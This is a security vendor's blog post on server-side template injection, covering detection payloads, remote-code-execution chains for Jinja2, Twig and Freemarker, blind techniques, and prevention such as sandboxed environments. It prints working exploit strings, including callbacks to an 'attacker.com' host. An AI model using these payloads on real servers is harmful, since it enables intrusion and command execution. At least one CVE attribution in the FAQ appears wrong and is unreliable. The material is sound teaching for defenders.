Skip to main content
Back to blog
April 28, 2026|8 min read

Server-Side Template Injection (SSTI): Detection and Prevention

Server-side template injection turns template engines like Jinja2 and Twig into remote code execution vectors. A single payload like {{7*7}} can escalate to full server compromise.

ZeriFlow Team

1,169 words

Server-Side Template Injection (SSTI): Detection and Prevention

Server-side template injection (SSTI) is a vulnerability that occurs when user-controlled input is embedded directly into a server-side template, allowing attackers to inject template syntax that the engine evaluates. Depending on the template engine in use, this can escalate from information disclosure to full remote code execution on the server — making SSTI one of the highest-impact vulnerabilities in web applications.

Scan your web application for security issues with ZeriFlow — 80+ automated checks, completely free.


How Template Engines Work

Template engines (Jinja2, Twig, Freemarker, Pebble, Mako, Smarty, etc.) allow developers to embed dynamic content in HTML templates using special syntax. For example, in Jinja2:

python
from jinja2 import Template

template = Template('Hello, {{ name }}!')
result = template.render(name='Alice')
# Output: Hello, Alice!

The engine processes the template, replacing {{ name }} with the provided value. The vulnerability arises when the *template itself* is constructed from user input rather than just passing user values into a fixed template.


The Classic Detection Payload: {{7*7}}

The canonical SSTI test payload is a simple arithmetic expression wrapped in template delimiters. If the page returns 49 instead of {{7*7}}, the input is being evaluated by a template engine:

Input: {{7*7}}
Vulnerable response: 49
Safe response: {{7*7}} (rendered as literal text)

Each template engine uses different syntax. A detection matrix:

EngineDetection PayloadExpected Output
Jinja2{{7*7}}49
Twig{{7*7}}49
Freemarker${7*7}49
Smarty{7*7}49
Mako${7*7}49
Pebble{{7*7}}49
Groovy${7*7}49

Security researchers use polyglot payloads like ${{<%[%'"}}%\ to trigger errors from multiple engines simultaneously, revealing which engine is running.


Jinja2: From Detection to RCE

Jinja2 (Python) is one of the most commonly exploited template engines. Python's object model gives attackers access to the entire runtime through template expressions.

Step 1: Confirm Jinja2

{{7*'7'}}

Output: 7777777 (Python string multiplication). This distinguishes Jinja2/Twig from others.

Step 2: Access Python's Object Hierarchy

{{''.__class__.__mro__[1].__subclasses__()}}

This traverses the Python object hierarchy via __mro__ (method resolution order) to find all subclasses of object. The output is a massive list of Python classes available in the runtime.

Step 3: Find a Useful Class

Look for subprocess.Popen or os._wrap_close in the subclass list. The index varies by Python version and loaded modules.

Step 4: Execute Commands

{{''.__class__.__mro__[1].__subclasses__()[273]('id', shell=True, stdout=-1).communicate()}}

If this returns uid=33(www-data) gid=33(www-data) groups=33(www-data), you have confirmed RCE through the template engine.


Twig (PHP): RCE via _self

Twig runs in PHP applications (Symfony, Drupal, etc.) and has its own RCE chain:

twig
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

Or in older versions:

twig
{{_self.env.setCache('ftp://attacker.com/malicious')}}
{{_self.env.loadTemplate('shell')}}

Twig's sandbox mode (when enabled) blocks access to _self and restricts callable functions, but misconfiguration is common.


Freemarker (Java): The Classic Vector

Freemarker is widely used in Java enterprise applications. Its freemarker.template.utility.Execute class is the canonical RCE vector:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Or via freemarker.template.utility.ObjectConstructor:

${"freemarker.template.utility.Execute"?new()("id")}

Freemarker also has a sandbox (Configuration.setNewBuiltinClassResolver), but many deployments don't enable it.


Blind SSTI: When You Don't See Output

If the application processes your template input but doesn't reflect it in the response, you can confirm SSTI via time-based techniques:

Jinja2:

{{''.__class__.__mro__[1].__subclasses__()[273]('sleep 10', shell=True)}}

Or DNS/HTTP callback:

{{request.application.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/?x=1').read()}}

Prevention: Eliminating SSTI

1. Never Build Templates from User Input

This is the root cause. Template engines are designed to accept *data*, not *template structure*. If user input needs to appear in a template, pass it as a variable, not as part of the template string:

python
# VULNERABLE
template_string = f'Hello, {user_input}!'
Template(template_string).render()

# SAFE
Template('Hello, {{ name }}!').render(name=user_input)

2. Enable Sandbox Mode

Jinja2's SandboxedEnvironment restricts access to dangerous Python attributes:

python
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)

The sandbox blocks access to __class__, __mro__, __subclasses__, and other introspection attributes that enable the RCE chains described above.

Twig has a similar sandbox:

php
$twig = new \Twig\Environment($loader, ['sandbox' => true]);

3. Validate Template Syntax Before Rendering

If user-defined templates are a legitimate product requirement (e.g., email templates), parse and validate the template before storing it. Reject any template containing dangerous constructs.

4. Use a Logic-Less Template Engine

For user-facing templates, consider logic-less engines like Mustache or Handlebars. Without conditionals, loops, and function calls, the attack surface is dramatically reduced.

5. Run Template Rendering in an Isolated Process

For the highest-security scenarios, render user templates in a sandboxed subprocess or container with no network access, minimal file permissions, and a strict syscall whitelist (seccomp).


FAQ

Q: How is SSTI different from XSS?

A: XSS injects client-side script (JavaScript) that executes in the victim's browser. SSTI injects server-side template code that executes on the server. SSTI is generally considered more severe because it runs with server privileges and can lead to RCE, whereas XSS is limited to what JavaScript can do in a browser.

Q: Does using an MVC framework protect against SSTI?

A: MVC frameworks like Flask, Django, or Symfony use template engines internally. If you use the template engine correctly (passing data as variables, using fixed template files), you're protected. The vulnerability arises from dynamic template construction — a pattern that can appear in any framework if a developer gets it wrong.

Q: Can WAFs block SSTI attacks?

A: Modern WAFs have SSTI detection rules, but they are bypassable with encoding, whitespace variations, and alternative syntax. WAFs are a useful layer but not a substitute for fixing the root cause.

Q: Are static site generators vulnerable to SSTI?

A: Static site generators process templates at build time, not at request time. If user-supplied content is embedded in templates at build time (e.g., in a CI/CD pipeline that processes user-submitted templates), there is a risk. But in normal static site generation, there's no runtime user input processed by the template engine.

Q: What CVEs are associated with SSTI?

A: Major SSTI CVEs include CVE-2019-8341 (Jinja2), CVE-2018-20834 (Twig via Symfony), and numerous CVEs in CMS platforms that expose template customization. SSTI was the mechanism behind several critical Drupal RCE vulnerabilities.


Conclusion

Server-side template injection is a direct path from user input to server compromise. The root cause is almost always the same: user-supplied data used as template structure instead of template data. The fix is equally clear: enforce strict separation between template structure and data, enable sandbox modes where available, and use logic-less engines for user-defined templates.

A strong security scanning baseline is the foundation of any defense-in-depth strategy.

Run a free ZeriFlow scan to assess your web application's security configuration before attackers do.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading